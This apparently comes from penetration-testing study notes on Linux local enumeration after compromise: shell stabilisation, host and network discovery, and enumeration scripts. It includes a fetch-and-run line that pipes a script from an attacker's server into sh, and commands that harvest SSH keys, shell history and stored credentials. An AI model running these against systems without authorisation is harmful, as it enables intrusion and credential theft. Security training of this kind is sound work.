~/linux-local-enumeration

Local Enumeration

CPTS Notes8 min read

Stabilise the shell first. Then collect identity, network, users, processes, software, and readable files, in that order. Run an enumeration script after the manual pass and check its findings by hand. Privesc Primer covers what to do with the results.

Stabilise the shell

Spawn a PTY with Python:

python3 -c 'import pty; pty.spawn("/bin/bash")' # spawn a bash PTY

If Python is missing, use script:

script /dev/null -c bash # spawn a bash PTY without Python

Background the shell with Ctrl+Z, then set your own terminal to raw mode and bring the shell back:

stty raw -echo; fg # raw mode, then foreground the shell

raw passes every key through to the remote shell, so Ctrl+C and tab completion work there. -echo stops your terminal from printing each key twice.

On the target, set the terminal type and size:

export TERM=xterm # terminal type
stty rows 50 cols 200 # terminal size

Read the correct numbers from a local terminal:

stty size # rows, then columns

Who and where

Current user, UID, and groups:

id # user, UID, and groups
whoami # user name only

Host name:

hostname # host name

Kernel version and architecture:

uname -a # kernel version and architecture

Distribution and release:

cat /etc/os-release # distribution and release

Kernel version and the compiler that built it:

cat /proc/version # kernel version and compiler

Network

Interfaces and addresses:

ip a # interfaces and addresses
ifconfig # same, net-tools

A host with two or more interfaces on different subnets is dual-homed. Note it as a pivot into the second network.

Routing table:

ip r # routing table
route -n # routing table, numeric addresses

Listening ports and the process behind each:

ss -tulpn # listening ports and their processes
netstat -tulpn # same, net-tools
Flag Meaning
-t TCP sockets
-u UDP sockets
-l Listening sockets only
-p Process that owns each socket
-n Numeric ports and addresses, no name lookups

-p shows only your own processes unless you are root.

A service that listens on 127.0.0.1 only is not reachable from outside. Reach it from the box or forward the port to it (Privesc Primer). Local databases, admin panels, and internal web apps are pivot and privesc targets.

ARP cache, the hosts this box talked to recently:

ip neigh # ARP cache
arp -a # ARP cache, BSD-style format

Local name entries and DNS servers:

cat /etc/hosts # local name entries
cat /etc/resolv.conf # DNS servers

Extra entries in /etc/hosts name internal hosts and domains. An internal DNS server points to an internal network.

Users and groups

Users with a login shell:

grep 'sh$' /etc/passwd # users with a login shell

All groups and their members:

cat /etc/group # groups and members

Note membership in groups such as sudo, wheel, adm, docker, lxd, and disk.

Home directories:

ls -la /home # home directories

Users logged in now, and what they run:

w # logged-in users and what they run
who # logged-in users

Recent logins from /var/log/wtmp:

last # recent logins

Last login of every account:

lastlog # last login of every account

Some newer distributions ship lastlog2 in its place.

Processes and services

All processes of all users:

ps aux # all processes of all users
Flag Meaning
a Processes of all users
u User-oriented format: owner, CPU, memory, start time
x Processes without a terminal, such as daemons

Process tree:

ps -ef --forest # process tree
Flag Meaning
-e Every process
-f Full format, with the full command line
--forest Draws parent and child processes as a tree

Look for processes that run as root and command lines that hold passwords.

Running services:

systemctl list-units --type=service --state=running # running services

--type=service lists only service units. --state=running lists only the running ones.

Timers, the systemd form of scheduled jobs:

systemctl list-timers # systemd timers

Cron jobs on disk:

cat /etc/crontab # system crontab
ls -la /etc/cron.* # cron job directories

Short-lived processes, such as cron jobs that run as root, do not stay in ps output long enough to see. pspy watches for new processes without root. Get the binary onto the box (see Linux Transfers), then run it:

chmod +x pspy64 # make it executable
./pspy64 # watch for new processes

Let it run for a few minutes. -f also prints file system events, and -i <ms> sets the scan interval. Use pspy32 on 32-bit hosts.

Software and versions

Installed packages, Debian family and Red Hat family:

dpkg -l # installed packages, Debian family
rpm -qa # installed packages, Red Hat family

Sudo version:

sudo -V # sudo version, on the first line

Old versions have public exploits.

Tools available for later steps:

which gcc python3 perl nc socat curl wget # tools available for later steps

Version of a binary that looks custom or out of date:

<binary> --version # version of one binary

Mounted filesystems and free space:

mount # mounted filesystems
df -h # free space, human-readable sizes

Filesystems set to mount at boot:

cat /etc/fstab # filesystems mounted at boot

/etc/fstab can hold credentials for network shares (username=, password=, or a credentials= file).

Block devices, including disks that are not mounted:

lsblk # block devices, mounted or not

Files worth reading

List a folder with hidden files and human sizes, or a whole tree:

ls -lah # long form, hidden files, human sizes
ls -R /etc # every subfolder, recursive

Shell history of the current user and others:

cat ~/.bash_history # current user's history
ls -la /home/*/.*history /root/.*history 2>/dev/null # history files of other users

SSH keys and authorised keys:

ls -la ~/.ssh /home/*/.ssh /root/.ssh 2>/dev/null # SSH keys and authorised keys

A readable id_rsa or id_ed25519 is a login as that user. See SSH.

Web roots:

ls -la /var/www # web roots

Application config files often hold database passwords: wp-config.php, config.php, .env, settings.py, web.config. Searching Files covers how to search for them.

Environment variables of the current shell:

env # environment variables

Look for tokens, passwords, and unusual PATH entries.

Automated scripts

Run a script after the manual pass. Linux Transfers covers how to get it onto the box. Write output to /dev/shm, a memory-backed directory that most users can write to.

linPEAS, saved to a file:

chmod +x linpeas.sh # make it executable
./linpeas.sh > /dev/shm/linpeas.txt # run it and save the output
less -r /dev/shm/linpeas.txt # read the output with colours

linPEAS marks its strongest findings in red on a yellow background.

linPEAS run from your HTTP server without touching disk:

curl 10.10.14.20/linpeas.sh | sh # fetch and run in memory
Flag Meaning
-a All checks, including a one-minute process watch and an su brute force with the top 2000 passwords
-e Extra checks that are off by default
-s Stealth: skips slow checks and writes nothing to disk
-q No banner

-a tries passwords against every user with su. It is slow and can lock accounts.

LinEnum:

./LinEnum.sh -t -r linenum -e /dev/shm # thorough tests, report in /dev/shm
Flag Meaning
-t Thorough (slower) tests
-r Report name
-e Export location
-k Keyword to search for in config and log files

lse.sh (Linux Smart Enumeration):

./lse.sh -l 1 -i # interesting results, no password prompt
Flag Meaning
-l 0 Highly important results only (default)
-l 1 Interesting results
-l 2 All gathered information
-i Non-interactive: does not ask for the user’s password

The scripts miss things and report false positives, such as kernel exploits for a patched kernel. Check each lead by hand before you act on it.

Checklist

  • Shell stabilised: PTY, TERM, raw mode, rows and columns.
  • id, hostname, kernel, and distribution noted.
  • Interfaces, routes, and second subnets noted.
  • Listening ports checked, especially services on 127.0.0.1.
  • /etc/hosts and DNS servers read.
  • Users with a shell, group memberships, and home directories listed.
  • Root processes, services, timers, and cron jobs checked. pspy run.
  • Packages, sudo version, available tools, and mounts noted.
  • History files, .ssh directories, web roots, config files, and env read.
  • linPEAS, LinEnum, or lse.sh run and its findings checked by hand.